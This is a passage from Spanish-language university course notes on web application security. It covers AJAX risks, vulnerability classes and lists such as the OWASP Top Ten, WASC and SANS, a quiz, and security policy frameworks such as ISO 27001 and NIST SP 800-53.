aplicación AJAX pero que ese código y las llamadas a la API del servidor además sean
visibles a cualquiera implica que debe ser revisado con más tesón. La labor de testing
también se ve complicada por la naturaleza asíncrona, las peticiones condicionadas a
muchos factores y frecuentemente ocultas y la naturaleza cambiante de la capa de
presentación. En resumen una aplicación AJAX es más compleja (y transparente) que
una aplicación web tradicional y en consecuencia su auditoría también lo será.
» Despliegue masivo e incontrolado. La popularidad de AJAX ha llevado a su

adopción en una gran cantidad de sitios web y consecuentemente a la incorporación
de una gran cantidad de desarrolladores en esta disciplina. La gran mayoría de ellos
desconocen la problemática de seguridad que tiene asociada, lo que conduce a un
vasto panorama de aplicaciones vulnerables. La variedad de lenguajes posibles en el
servidor y la dificultad de encontrar expertos en dos de ellos al mismo tiempo hace
más probables deficiencias en la codificación. En muchos casos ocurre que la
conversión de aplicaciones tradicionales a AJAX se realiza sin que exista una
verdadera necesidad o se gane en funcionalidad. AJAX es moderno y es lo que se
demanda pero no se suele reparar en que también conlleva consecuencias en materia
de seguridad.

1.4. Vulnerabilidad de seguridad en la implementación de las

aplicaciones web
Las principales vulnerabilidades de seguridad en la implementación en las aplicaciones

son:
» Vulnerabilidades de implementación en la validación de la entrada en el código del

lado del servidor. Ejemplos de este tipo de vulnerabilidades que se pueden consultar
en Mitre CWE2015 son: sql injection, croos site request forgery, path traversal, http
response splitting o remote file inclusión.
» Vulnerabilidades de implementación de la validación de la entrada y de la salida en el
código del lado de cliente (acceso al DOM) y del servidor en aplicaciones web 2.0 de
cliente enriquecido que utilizan motor AJAX. Json Hijacking (CAPEC 111) 2015, es
una de las vulnerabilidades específicas de las aplicaciones AJAX que utilizan JSON.
» Vulnerabilidades de implementación de la validación de la salida en el código del lado
del servidor que pueden causar redirecciones a servidores controlados por el atacante
y que estos aprovechan para conseguir acceso a datos personales. XSS es una
vulnerabilidad que requiere codificación de la salida para escapar caracteres como <,
>.
El medio más natural y conveniente para evitar vulnerabilidades en el código de

aplicación web es la prevención. Los desarrolladores deberían haber sido formados en la
programación de la seguridad web para no cometer errores que implican las
vulnerabilidades de programación.
Aunque sea muy buena la formación de los programadores siempre quedarán

vulnerabilidades en el código como SQLI, XSS o CSRF y si existen vulnerabilidades,
una vez desarrollada la primera versión de la aplicación, el coste de eliminarlas es muy
alto.
La formación en seguridad de los programadores pasa por realizar validación de campos

de entrada y de salida del código para evitar cadenas de datos malignas que puedan
constituir un payload y llegar a materializar un ataque real a la aplicación aprovechando
una vulnerabilidad.

En la fase de implementación del código es necesario realizar la validación de todas

las entradas a la aplicación para evitar cadenas de datos con contenidos maliciosos que
puedan aprovechar las posibles vulnerabilidades que pueda tener la aplicación, tanto la
lógica de negocio como el modelo (se estudia a continuación) o la vista.
También se ha de aplicar validación de las salidas para escapar caracteres que

puedan ocasionar redireccionamientos a sitios no deseados y que pueden conducir a la
materialización de vulnerabilidades como cross-site-scripting, cross site request
forgering, SQLI, etc. Para realizar este tipo de validaciones es necesario conocer técnicas
de programación segura (se analizan en otra asignatura) y la naturaleza de las posibles
vulnerabilidades que se analizan en un tema posterior y más profundamente en otra
asignatura.
Además en esta capa de software hay que aplicar un correcto y seguro servicio de
autenticación y autorización para acceso a cualquier recurso de la aplicación o sistema.
Como se verá más adelante, para conseguir una aplicación segura hay que partir de una
derivación acertada de los requisitos de seguridad y casos de abuso, siguiendo con el
diseño de la seguridad mediante análisis de riesgos, implementación con técnicas de
programación segura y posterior revisión de código y por último, aplicar pruebas
funcionales, test de penetración y otras actividades.
Al final, por si acaso, quedará la opción de la protección online que se aplique y también
tiene que ser diseñada desde el principio.
Todos los aspectos de una petición HTTP han de ser validados. También se pueden
modificar cookies, campos ocultos y parámetros post usando un cliente de ataque
que permite modificar el aspecto de cualquier petición HTTP (ver figura siguiente). Es
importante la elección del framework de desarrollo y utilizar un lenguaje de
programación que fuerce la comprobación de tipos y de memoria de forma que su gestión
sea segura. C#,Java, Python, Ruby o dialectos de C como CCured y Cyclone son
lenguajes de este tipo.

Cliente de ataque suplantado e interponiéndose a un navegador web.
Se usa el término safe para referirse a lenguajes que automáticamente realizan

comprobaciones en tiempo de ejecución para impedir a los programas violar los límites
de la memoria asignada.
Los lenguajes seguros deben proporcionar dos propiedades para asegurar que los
programas respetan los límites de asignación: seguridad de memoria y seguridad
de tipo.
La seguridad de memoria es el verdadero objetivo, esto quiere decir que el programa no

leerá o escribirá datos fuera de los límites de la memoria asignada. Para alcanzar la
seguridad de memoria un lenguaje también debe hacer cumplir la seguridad de tipo
de modo que pueda seguir la pista de los límites de asignación de memoria.
Sin la seguridad de tipo cualquier valor arbitrario podría usarse como una referencia en
la memoria. C y C++ son lenguajes inseguros y ampliamente utilizados y por tanto el
programador es el responsable de prevenir que las operaciones que manipulan la
memoria puedan resultar en desbordamientos de buffer. Las operaciones que conducen
a desbordamientos se reducen a un pequeño conjunto.

Java es un lenguaje esencialmente seguro, según afirma Long (2015):
» No tiene explícita manipulación de punteros.

» Los límites de arrays, strings se comprueban automáticamente.
» Los intentos de referencias a un objeto null se capturan.
» Las operaciones aritméticas están bien definidas.
» Se controla el acceso a ficheros, sockets mediante JVM -> security manager.
1.5. Vulnerabilidades de seguridad en el despliegue de las

aplicaciones web
Las vulnerabilidades en la operación de las aplicaciones pueden ser de varios tipos:
» Vulnerabilidades en el diseño de los procedimientos de monitorización,

auditoría y de gestión de logs. Se debe contar con un sistema de gestión de
eventos de seguridad que corre con toda la información de ataques a los sistemas de
la organización.
» Vulnerabilidades debidas a la mala gestión en la seguridad de las

configuraciones de la aplicación, de los servidores de aplicaciones, de gestión de
bases de datos, de los sistemas operativos o la gestión de la autorización de acceso de
los usuarios a los recursos de la aplicación, servidores y sistemas operativos
subyacentes, así como de la gestión segura de las configuraciones de las
comunicaciones entre todas las capas de la aplicación.
» Vulnerabilidades en el diseño de los procedimientos de backup:

recuperación. Se debe contar con un centro de respaldo que proporcione el grado
de redundancia necesario de forma transparente para los usuarios.
» Vulnerabilidades en el diseño del proceso de respuesta ante incidentes de

seguridad. Se debe contar con un centro de respuesta ante incidentes de seguridad.
» Vulnerabilidades en la política de gestión de contraseñas, servicio de PKI

para gestión de certificados digitales.

» Vulnerabilidades en el diseño la seguridad física, seguridad del personal

y de la información. La seguridad relativa al personal debe estar clasificada en
niveles de acuerdo con su puesto y la «necesidad de conocer» que tenga en función de
aquel. Igualmente la información y sus sistemas, deben tener distintos niveles de
clasificación. Una persona podrá acceder a un documento o a un sistema si tiene el
grado de clasificación requerido para acceder al documento con un determinado
grado de clasificación y si tiene la necesidad de conocer la información contenida en
el documento o en el sistema.
1.6. Listas oficiales de vulnerabilidades de seguridad
Para estudiar este apartado deberás leer las páginas 7 a 16 del documento propuesto
en la sección ¿Cómo estudiar este tema?
En este apartado se relacionan las publicaciones online de las vulnerabilidades de

seguridad más importantes y frecuentes que tienen lugar en las aplicaciones y más
concretamente en la aplicaciones web. Para ello se van a tomar como referencia varias
clasificaciones que dan varias organizaciones en función de su importancia por su
peligrosidad y frecuencia con la que se dan en las aplicaciones.
Algunas de las clasificaciones de vulnerabilidades de seguridad en el diseño,

implementación y operación más importantes son:
» OWASP TOP TEN (2015).

» SANS TOP 25 (2013).
» WASC (Web application security consortium) 2013, definiciones genéricas de
vulnerabilidades, estadísticas de vulnerabilidades encontradas.
» CWE (Common weakness enumeration) Miltre CWE 2015, definiciones genéricas de
vulnerabilidades.
» CVE (Common vulnerability exposure 2013, publicaciones de vulnerabilidades reales
en aplicaciones conocidas.
» CAPEC (Common attack pattern enumeration, 2015), definiciones genéricas de
ataques.

Según el proyecto OWASP TOP TEN 2103 las vulnerabilidades más frecuentes en las
aplicaciones web en los últimos tres años son las vulnerabilidades relativas a inyección
de código, de autenticación y gestión de sesiones y XSS (cross site scripting).
La lista enumera las 10 vulnerabilidades de seguridad más comunes desde 2010 (tabla
2), comparada con la misma lista de OWASP 2010, mostrando su evolución desde
entonces en función de las vulnerabilidades detectadas en las aplicaciones y los ataques
sufridos en los últimos tres años.
OWASP TOP TEN 2013 OWASP TOP TEN 2010
A1-Injection A1-Injection
A2-Broken authentication and sesión A2-Cross site scripting (XSS)

management
A3 Cross site scripting (XSS) A3-Broken authentication and sesión

management
A4-Insecure direct object reference A4- Insecure direct object references
A5-Security misconfiguration A5-Cross site request forgery (CSRF)
A6-Sensitive data exposure A6-Security misconfiguration
A7-Missing function level Access control A7-Insecure cryptographic storage
A8-Cross site request forgery (CSRF) A8-Failure to restrict URL Access
A9-Using components with known A9-Insufficient transport layer

vulnerabilities protection
A10- Unvalidated redirects and forwards A10-Unvalidated redirects and forwards

OWASP TOP TEN 2013 y 2010
Fuente: https://www.owasp.org/index.php/Top_10_2013-Top_10

En la siguiente tabla se describen las vulnerabilidades y ataques contra la seguridad de

las aplicaciones web más importantes según la clasificación de WASC.
ATTACKS WEAKNESSES
Abuse of functionality Application misconfiguration
Brute forcé Directory indexing
Buffer overflow Improper filesystem permission
Content spoofing Improper input handling
Credential/sesión prediction Impropero ut put handling
Cross site scripting Information leakage
Cross site request forgery Insecure indexing
Denial of service Insufficient anti automation
ATTACKS WEAKNESSES
A10- Unvalidated redirects and forwards A10-Unvalidated redirects and forwards
Fingerprinting Insufficient authentication
Format string Insufficient authorization
HTTP response smuggling Insufficient password recovery
HTTP response splitting Insufficient process validation
HTTP request smuggling Insufficient session expiration
HTTP request smuggling Insufficient transport layer protection
Integer overflows Server misconfiguration
LDAP injection
Mail command injection
Null byte injection
OS commanding
Path traversal
Predictable resource location
Remote file inclusion (RFI)
Routing detour

ATTACKS WEAKNESSES
Session fixation
SOAP array abuse
SSI injection
SQL injection
URL redirector abuse
Xpath injection
XML attribute blowup
XML external entities
XML entity expansion
XML injection
Xquery injection
WASC Thread classification
Fuente: http://projects.webappsec.org/w/page/13246978/Threat%20Classification
SANS TOP 25 (2013) es otro proyecto que se ocupa de clasificar las vulnerabilidades de
las aplicaciones en función de su importancia debido a la frecuencia con que se dan en
las aplicaciones y de la peligrosidad de los ataques que se materializan aprovechando las
vulnerabilidades. En este proyecto las vulnerabilidades se clasifican en tres
categorías con expresión de su identificador CWE de MITRE:
» Software error category: insecure interaction between components (6 errors).

» Software error category: risky resource management (8 errors).
» Software error category: porous defenses (11 errors).

1.7. Referencias
Ajax frente al esquema tradicional de aplicaciones web. Recuperado (30 de abril de2015)
en, http://www.adaptivepath.com/ideas/ajax-new-approach-web-applications
Cannings, R., Dwivedi, H. y Lackey, Z. (2008). Hacking exposed web applications. Web
2.0. Estados Unidos: McGraw Hill.
Chess, B. y West, J. (2007). Secure programming with static analysis. Estados Unidos:
Pearson Education.
Cheswick, W. R., Bellovin, S. M. y Aviel, R. (2003). Firewalls and Internet security

repelling the wily hacker. Estados Unidos: Pearson.
Connolly, G. M., Akin, M., Goyal, A., Howlett, R. y Perrins, M. (2008). Building dynamic
Ajax applications using websphere feature pack for web 2.0. Estados Unidos: IBM
Redbooks.
Dowd, M., McDonald, J. y Schuh, J. (2006). The art of software security assessment:
identifying and preventing software vulnerabilities. San Francisco: Addison Wesley.
FLASH. Recuperado (30 de abril de 2015) en, http://www.adobe.com/es/products/flash-

builder.html
Graff, M. (2001). Secure coding. The state of the practice. Recuperado (30 de abril de
2015) en, http://www.securecoding.org/authors/articles/may202003/
Http basic and digest authentication. Recuperado (30 de abril de 2015) en,
https://www.ietf.org/rfc/rfc2617.txt
JSON. Recuperado (30 de abril de 2015) en, http://json.org/json-es.html
Mitre CAPEC. Recuperado (30 de abril de 2015) en,

https://capec.mitre.org/data/definitions/111.html
Mitre CWE. Recuperado (30 de abril de 2015) en, https://cwe.mitre.org/

OWASP top ten. Recuperado (30 de abril de 2015) en,

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Protocolo http rfc 2616. W3 consortium. Recuperado (17 de abril de 2015) en,
http://www.w3.org/Protocols/rfc2616/rfc2616.html
Same origin policy. Recuperado (30 de abril de 2015) en,

http://notasjs.blogspot.com.es/2013/09/politica-del-mismo-origen-same-origin.html
SANS top 25. Recuperado (6 de mayo de 2013) en, http://www.sans.org/top25-software-

errors/
Scambray, J., Liu, V y Sima, C. Hacking exposed web applications 3. Estados Unidos:
McGraw Hill.
Silic, M., Krolo, J. y Delac, G. (2010). Security vulnerabilities in modern web browser
architeture. Zagreb: University of Zagreb.
Spring framework. MVC. Recuperado (30 de abril de 2015) en,

http://openaccess.uoc.edu/webapps/o2/bitstream/10609/669/1/00848tfc.pdf
WACT. Recuperado (30 de abril de2015) en, http://www.phpwact.org/
WASC. Recuperado (6 de mayo de 2013) en, http://www.webappsec.org/
WASC thread classification. Recuperado (6 de mayo de 2013) en,

http://projects.webappsec.org/w/page/13246978/Threat%20Classification

Lo + recomendado
Lecciones magistrales
Aplicaciones AJAX (Rich client Internet applications)
Repaso de una de las tecnologías más actuales de implementación de aplicaciones de

cliente enriquecido. Se revisa la arquitectura de este tipo de aplicaciones y los
problemas de seguridad que introducen.
La lección magistral está disponible en el aula virtual
TEMA 1 – Lo + recomendado © Universidad Internacional de La Rioja (UNIR)

No dejes de leer…
Vulnerabilidades en aplicaciones web
Repaso de las vulnerabilidades y ataques más frecuentes y peligrosos en aplicaciones

web.
Accede al artículo desde el aula virtual o a través de la siguiente dirección web:

http://www.veracode.com/security/application-
vulnerabilityhttp://www.veracode.com/security/attacks
Problemas de seguridad en Ajax
En este documento se revisan aspectos de seguridad de este tipo de aplicaciones y se

introduce la forma de solucionarlos.

http://www.symantec.com/connect/articles/ajax-security-basics
http://www.javaworld.com/javaworld/jw-08-2006/jw-0807-ajax.html

Vulnerabilidades de seguridad en navegadores web
Artículo que habla de las vulnerabilidades de seguridad de los navegadores y cómo se

pueden paliar mediante arquitecturas SANDBOX como Google Chrome.

https://www.fer.unizg.hr/_download/repository/MarinSilic.pdf
No dejes de ver…
OWASP
Este vídeo es un tutorial sobre vulnerabilidades de seguridad. Los tres primeros capítulos
son los más interesantes.
Accede al vídeo desde el aula virtual o a través de la siguiente dirección web:

https://www.youtube.com/channel/UC5xIEA6L0C2IG3iWgs8M2cA

+ Información
A fondo
Arquitectura J2EE
En este artículo se describen cuáles son las características de la tecnología de desarrollo

J2EE para abordar el desarrollo e implantación de grandes aplicaciones escalables sobre
redes globales dirigidas a entornos empresariales o industriales

http://www.dtic.ua.es/grupoM/recursos/articulos/JDARE-04-D.pdf
Ajax
Ajax frente al esquema tradicional de aplicaciones web. En este artículo se describe el

nuevo enfoque de la arquitectura Ajax frente a las arquitecturas web tradicionales para
conseguir clientes más enriquecidos.

http://adaptivepath.org/ideas/ajax-new-approach-web-applications/
TEMA 1 – + Información © Universidad Internacional de La Rioja (UNIR)

JSON
Introducción a JSON (notación de objetos de Java Script). Es un formato ligero de

intercambio de datos. Está basado en un subconjunto del lenguaje de programación Java
y se utiliza como forma de intercambio de datos en aplicaciones Ajax.

http://json.org/json-es.html
Arquitectura de servicios web
Este enlace es una ampliación sobre la arquitectura de servicios web, describiendo los
protocolos y servicios que los componen: SOAP, ADDI, WSDL.
Accede a la página desde el aula virtual o a través de la siguiente dirección web:

https://msdn.microsoft.com/en-us/library/ms996507.aspx

Vulnerabilidades en aplicaciones web y aplicaciones móviles
Este enlace amplia el contenido sobre vulnerabilidades en aplicaciones web.

https://www.owasp.org/index.php/Top_10_2013-
Top_10_https://www.owasp.org/index.php/OWASP_Mobile_Security_Project#Top_
Ten_Mobile_Risks
Enlaces relacionados
WASC
Página de WASC, asociación sin ánimo de libro formada por un grupo internacional de
expertos profesionales de la industria y representantes de organizaciones que producen
software libre y ampliamente acordados estándares de seguridad de mejores prácticas
para la world wide web.

http://www.webappsec.org/

OWASP
Página del proyecto abierto para seguridad de las aplicaciones web.

https://www.owasp.org/index.php/Main_Page
SANS
En esta página web podrás ver el propósito de SANS.

https://www.sans.org/
https://www.sans.org/top25-software-errors/
Veracode
Veracode ofrece servicio on demand para análisis de la seguridad de las aplicaciones

web.

http://www.veracode.com/security/

Bibliografía
2.0. Nueva York: McGraw Hill.
OWASP top ten. Recuperado (21 de marzo de 2015) en,

Scrambray, J., Liu, V. y Sima, C. (2010). Haking exposed web applications 3. Nueva
York: McGraw Hill.
architecture. Croatia: University os Zagreb.
Sullivan, B. y Liu, V. (2011). Web application security, a beginner´s guide. Nueva York:
McGraw Hill.

Test
1. ¿Cuáles son los objetivos de seguridad de los sistemas TIC?

A. No repudio, funcionamiento correcto, trazabilidad, confidencialidad,
disponibilidad e integridad.
B. No repudio, trazabilidad, autenticación, autorización y control de acceso,
confidencialidad, disponibilidad e integridad.
C. No repudio, autenticación, autorización y control de acceso, confidencialidad,
disponibilidad e integridad.
D. A y B son correctas.
2. ¿Cuáles son los tipos de vulnerabilidades que un sistema puede tener?

A. Calidad, diseño y operación.
B. Calidad, implementación y diseño.
C. Diseño, implementación y operación.
D. Ninguna de las anteriores.
3. Señala la afirmación correcta:

A. Con CGI, el ciclo escritura – compilación – implementación – ejecución es más
rápido que en la mayoría de las tecnologías más recientes (pero no demasiado).
B. La mayoría de los lenguajes de script no se encuentran sólidamente tipificados
y no promueven buenas prácticas de programación.
C. Entre los marcos de lenguajes se script se incluyen .NET y J2EE.
D. Todas las anteriores son falsas.
4. Señala la afirmación correcta:

A. C#, Java, Python, Ruby o dialectos de C como CCured y Cyclone son lenguajes
que fuerzan la comprobación de tipos y de memoria de forma que su gestión sea
segura.
B. C y C++ son lenguajes seguros y ampliamente utilizados.
C. Con lenguajes de programación «seguros» el programador no ha de
preocuparse.
TEMA 1 – Test © Universidad Internacional de La Rioja (UNIR)

5. Señala la afirmación falsa:

A. La seguridad de una aplicación debe aplicarse a todas las capas de la misma.
B. Las capas de una aplicación web son: cliente-presentación-aplicación-
persistencia (base de datos).
C. El patrón de diseño MVC tiene tres capas: vista-controlador-modelo.

A. Ajax, Json son tecnologías Web 2.0.
B. La comunicación entre el motor Ajax y el servidor de aplicaciones es síncrona.
C. Los principios de diseño de las aplicaciones distribuidas basadas en servicios
web tienen su origen en lo que se denomina «arquitectura orientada a servicios».
D. WDSL es un lenguaje de descubrimiento de servicios.
7. Señala la información correcta:

A. Http response splitting es una vulnerabilidad que permite injectar código html
en una aplicación web.
B. SQLI no es una vulnerabilidad que se dé en aplicaciones web.
C. XSS no se puede validar.
D. Ninguna de las anteriores es cierta.
8. Señala cuál es una vulnerabilidad de diseño:

A. XSS.
B. SQLI.
C. TOCTOU.
D. CSRF.
9. Señala la opción incorrecta en cuanto a los problemas de seguridad en las aplicaciones

web.
A. Tienen problemas relacionados con el protocolo http de comunicación.
B. Tienen problemas de validación de la entrada en el código del lado del servidor.
C. No es necesaria la validación de la salida en el código del lado del servidor.
D. El protocolo http no fue diseñado para aplicaciones y seguramente tampoco
para usos seguros.

10. Señala cuál es una vulnerabilidad de implementación:

A. XSS.
B. SQLI.
C. CSRF.
D. Todas las anteriores son ciertas.

Políticas y estándares para la seguridad
de las aplicaciones online
[2.2] Pilares para la seguridad de las aplicaciones online
[2.3] Política de seguridad
[2.4] Sistema de gestión de seguridad de la información
[2.5] Ciclo de vida de desarrollo seguro de software
[2.6] Estándares para la seguridad de las aplicaciones
[2.7] Referencias
TEMA
Esquema
Políticas y estándares para la seguridad de las aplicaciones online
TEMA 2 – Esquema
ESTÁNDARES PARA LA SEGURIDAD DE
APLICACIONES
PILARES PARA LA SEGURIDAD

DE LAS APLICACIONES ONLINE
2
Política de seguridad
Ciclo de vida de
Sistema de gestión de desarrollo seguro de
seguridad de la software (SSDLC)
información (SGSI)

Ideas clave
En este tema se analizan los pilares en los que debe apoyarse la implantación de la
seguridad online de las aplicaciones. El pilar principal es la implantación de la política
de seguridad que debe existir en toda organización y que obliga a todos sus
componentes por igual con el objetivo de alcanzar el máximo grado de seguridad en los
sistemas de información y comunicaciones de la organización.
De la política de seguridad se derivan toda la normativa y procesos relacionados con la

seguridad de la información y comunicaciones. Los dos procesos claves a implantar
relacionados con la seguridad de las aplicaciones online, mutuamente relacionados, son:
» Sistema de gestión de seguridad de la información (SGSI).

» Ciclo de vida de desarrollo seguro de software (SSDLC).
2.2. Pilares para la seguridad de las aplicaciones online
Esta asignatura pretende introducir los pilares de la seguridad de las aplicaciones y

adentrarse un poco más en las actividades de seguridad que se realizan una vez
desplegada la aplicación online, como son los test y análisis de seguridad y las
operaciones de seguridad. Como base para acometer la seguridad online se abordarán
los diseños seguros de los servicios de autenticación, gestión de sesiones seguras y
autorización.
Otras actividades como la derivación de requisitos de seguridad, modelado de amenazas,

análisis y gestión del riesgo y revisión de la seguridad del código se estudiarán en otras
asignaturas.
TEMA 2 – Ideas clave 3 © Universidad Internacional de La Rioja (UNIR)

El pilar fundamental en el que ha de basarse la seguridad de la información de toda

organización, ya sea pública o privada, es la definición de la política de seguridad. Una
política de seguridad bien definida e implantada en una organización gestionada por
procesos es la base para implantar un sistema de gestión de seguridad de la
información (SGSI) que regule y gobierne los procesos y procedimientos que han de
implementarse en toda organización. Además todo el personal, cada uno a su nivel, debe
seguir de forma coordinada para conseguir el objetivo de seguridad requerido por la
organización, para protección ante cualquier tipo de amenaza interna o externa.
A nivel de seguridad en las aplicaciones y más concretamente en el apartado del

desarrollo, el sistema de gestión de seguridad de la información debe implantar un ciclo
de vida de desarrollo seguro de software (SSDLC) que permita acometer el
diseño e implementación de la seguridad desde las primeras fases del ciclo de vida de
desarrollo de aplicaciones.
El SSDLC incluye una serie de actividades de seguridad a implementar en cada una de

sus fases como pueden ser el análisis y gestión del riesgo de forma dinámica, la
revisión de seguridad del código, las pruebas de seguridad o la
monitorización continua en fase de despliegue.
Por tanto se puede considerar que los pilares fundamentales para el diseño e
implementación de la seguridad de las aplicaciones son tres:
» Política de seguridad.
» Sistema de gestión de seguridad de la información.
» Ciclo de vida de desarrollo seguro de software.
2.3. Política de seguridad
La política de seguridad de una organización es un conjunto de normas que rigen y

determinan lo que se puede hacer y lo que no dentro de ella, coordinando todas las
actividades de seguridad de todos los miembros de una organización, empezando por la
dirección. Según el IETF se define como: «una serie de sentencias formales (normas) que
deben cumplir todas las personas que tengan acceso a cualquier información y tecnología
de una organización»

Entre las características más importantes de toda política de seguridad se pueden

destacar (Díaz, 2004):
Define el comportamiento apropiado para cada caso.

Establece qué herramientas son necesarias y qué procedimientos.
Sirve para comunicar un consenso del uso de datos y aplicaciones dentro de la
organización.
Proporciona una base para la demostración del uso inapropiado de
recursos por parte de empleados o de externos.
La política de seguridad de una organización es algo en constante movimiento

que permite que el mantenimiento de la seguridad sea un proceso vivo y
administrable de forma estructurada y organizada. Por tanto la seguridad es un
proceso que se tiene que alcanzar mediante el desarrollo de la política de seguridad que
ha de entenderse como algo dinámico que se tiene que actualizar observando una serie
de principios de seguridad como:
Principios de seguridad
Principio de mínimos privilegios
Principio de profundidad en la defensa
Principio de diversidad en la defensa
Identificación de puntos débiles
Centralización de la gestión de la seguridad
Principio de simplicidad
Este apartado explica los tipos de normativas necesarias en una política de seguridad
y también las fases y actividades a llevar a cabo dentro del proceso de seguridad de
acuerdo con los principios de seguridad que deben regir toda política de seguridad.

Además explica cómo es la puesta en marcha del proceso de seguridad que se puede
escenificar como una rueda con las siguientes fases genéricas (las desarrolla y amplifica
el SGSI+SSDLC):
Se ha de contemplar siempre el principio de privilegio mínimo que consiste en

tratar de minimizar el número de usuarios con privilegios de administrador, el conjunto
de equipos externos con acceso a sistemas locales y el número de situaciones en las que
alguien o algo tiene privilegios de acceso, que no necesita, para que el trabajo salga
adelante.
Otro aspecto importante que debe tratar de conseguirse es el ilustrado por los
principios de defensa en profundidad y de diversidad de defensa. Se debe
intentar tener más de un nivel de defensa y a poder ser de distinta naturaleza para, de
esta forma, hacer más difícil el trabajo del supuesto atacante que no solo debe vencer
más de una defensa sino que cada una le obliga a tener distintos tipos de conocimiento.
Es importante seguir también el principio del cierre completo que consiste en

garantizar el caso de ataque con éxito a un componente. Quizás el más importante y más
difícil de conseguir es el principio de simplicidad que persigue que se cumplan todos
los anteriores a la vez que se puede gestionar todo el sistema, de manera simple y
entendible.

Es necesario remarcar que se debe cumplir en todas ellas cualquier obligación legal en
el marco de las leyes del país donde se quiera imponer la política.
Para conseguir su objetivo, define un conjunto de normas, procesos y procedimientos

relacionados con todos los ámbitos de la seguridad que se ejecutan de forma cíclica para
eliminar todas las vulnerabilidades posibles. Normas clave que estarán en cualquier
política:
Sistema de gestión de seguridad de la información.

Ciclo de vida de desarrollo seguro de software.
Normas de uso aceptable de equipos y servicios.
Normas de acceso remoto.
Normas de protección de la información.
Normas sobre la seguridad perimetral.
Normas básicas de seguridad física.
Normas sobre respuestas a incidentes.
Encriptación aceptable.
Proveedores de conexión a Internet aceptables.
Proveedores de software aceptables.
Seguridad en las adquisiciones.
Auditoría.
Valoración de riesgos
Contraseñas aceptables.
Seguridad de portátiles.
Seguridad de equipos en las zonas DMZ.
Redes privadas virtuales.
Seguridad de los servidores.
Laboratorios de prueba de problemas de seguridad.
Anti-virus.
Seguridad de encaminadores y conmutadores.
Comunicaciones wireless.
Cortafuegos aceptables.

Varios estándares se pueden seguir para la implantación de una política de

seguridad:
IETF, RFC 2196.

ENS (Esquema Nacional de Seguridad), guía STIC 805.
ISO 27001.
ITIL.
COBIT 5 para la seguridad de la información.
El proceso principal que emana de la política de seguridad es el sistema de gestión de

seguridad de la información que a su vez debe implementar un ciclo de vida de
desarrollo seguro de software. Estos procesos son la base para implementar la
seguridad y protección de los sistemas de información y comunicaciones de la
organización.
2.4. Sistema de gestión de seguridad de la información
Como se ha dicho anteriormente la política de seguridad de toda organización debe llevar

a cabo la implementación de un sistema que gestione las medidas de seguridad a todos
los niveles que hay que implantar para proteger adecuadamente los sistemas.
Un SGSI es para una organización el diseño, implantación, mantenimiento de un

conjunto de procesos que permitan gestionar de forma eficiente la accesibilidad de la
información, asegurar la confidencialidad, integridad y disponibilidad de los activos de
información minimizando a la vez los riesgos de seguridad de la información.
Un SGSI debe seguir siendo eficiente durante un largo tiempo adaptándose a los cambios
internos de la organización así como los externos del entorno gestionando el riesgo de
forma dinámica, con el objetivo de que el riesgo residual sea el mínimo posible.

Hay varios modelos que se pueden seguir para implantar un SGSI, normalmente siguen
el esquema de fases plan-do-check-act (PDCA) que significa «planificar-hacer-
controlar-actuar» siendo este un enfoque de mejora continua basado en una
monitorización constante del sistema que permita actualizar el riesgo residual de forma
dinámica de los activos de la organización:
Plan (planificar): es una fase de diseño del SGSI realizando la evaluación de

riesgos de seguridad de la información y la selección de controles adecuados.
Do (hacer): es una fase que envuelve la implantación y operación de los
controles.
Check (controlar): es una fase que tiene como objetivo revisar y evaluar el
desempeño (eficiencia y eficacia) del SGSI.
Act (actuar): en esta fase se realizan cambios cuando sea necesario para llevar
de vuelta el SGSI a máximo rendimiento.
Tres de las implementaciones más importantes de SGSI son:
ISO 27001
Este sistema sigue el enfoque de mejora continua de fases PDCA y los aspectos y
documentación más importantes a desarrollar en este esquema son:
Alcance del SGSI.

Procedimientos y controles que apoyan el SGSI.
Descripción de la metodología de evaluación del riesgo.
Informe resultante de la evaluación del riesgo.
Plan de tratamiento de riesgos.
Procedimientos de planificación, manejo y control de los procesos de seguridad
de la información y de medición de la eficacia de los controles.
Registros.
Declaración de aplicabilidad (SOA -statement of applicability-).
Procedimiento de gestión de toda la documentación del SGSI.

Las actividades más importantes a realizar en ISO 27001, dentro de un enfoque de

mejora continua son (figura siguiente):
» Implicación de la dirección.
» Alcance del SGSI y política de seguridad.
» Inventario de todos los activos de información.
» Metodología de evaluación del riesgo.
» Identificación de amenazas, vulnerabilidades e impactos.
» Análisis y evaluación de riesgos.
» Selección de controles para el tratamiento de riesgos.
» Aprobación por parte de la dirección del riesgo residual.
» Declaración de aplicabilidad.
» Plan de tratamiento de riesgos.
» Implementación de controles, documentación de políticas, procedimientos e
instrucciones de trabajo.
» Definición de un método de medida de la eficacia de los controles y puesta en marcha
del mismo.
» Formación y concienciación en lo relativo a seguridad de la información a todo el
personal.
» Monitorización constante y registro de todas las incidencias.
» Realización de auditorías internas.
» Evaluación de riesgos periódica, revisión del nivel de riesgo residual, del propio SGSI
y de su alcance.
» Mejora continua del SGSI.

Actividades ISO 27001
Security and privacy and controls for federal information systems and
organizations. NIST SP 800-53. Rev4
El risk management framework (RMF) de la figura siguiente constituye un SGSI:

security and privacy controls for federal information systems que aborda los problemas
de seguridad de las organizaciones relacionadas con el diseño, desarrollo,
implementación, operación y la disponibilidad de los sistemas de información y los
entornos en los que operan dichos sistemas.

El RMF se compone de los siguientes seis pasos:
» Clasificar el sistema de información basado en una evaluación de impacto (FIPS

publicación 199).
» Seleccionar los controles de seguridad básicos aplicables en base a los resultados de
la clasificación de seguridad y aplicar la adaptación de orientación (incluyendo el uso
potencial de superposiciones).
» Aplicar los controles de seguridad y documentar el diseño, desarrollo y detalles de la
implementación de los controles.
» Evaluar los controles de seguridad para determinar el grado en que los controles
están implementados correctamente, operando como se pretendía y produciendo el
resultado deseado con respecto al cumplimiento de los requisitos de seguridad del
sistema.
» Autorizar la operación del sistema de información basada en una determinación del
riesgo de las operaciones de la organización y de los activos, los individuos, otras
organizaciones, resultante de la operación y el uso del sistema de información y la
decisión de que este riesgo es aceptable.
» Supervisar los controles de seguridad en el sistema de información y el entorno de
operación de forma permanente para determinar la efectividad del control, los
cambios en el sistema/entorno y el cumplimiento de la legislación, órdenes ejecutivas,
directrices, políticas, reglamentos y normas.
Esquema RMF SGSI NIST 800-53.rev4

Esquema nacional de seguridad
El esquema de nacional de seguridad (ENS) es el modelo de SGSI que sigue la

administración pública española. El Real Decreto 3/2010 de 8 de enero de desarrollo del
esquema nacional de seguridad fija los principios básicos y requisitos mínimos así como
las medidas de protección a implantar en los sistemas de la administración y promueve
la elaboración y difusión de guías de seguridad de las tecnologías de la información y las
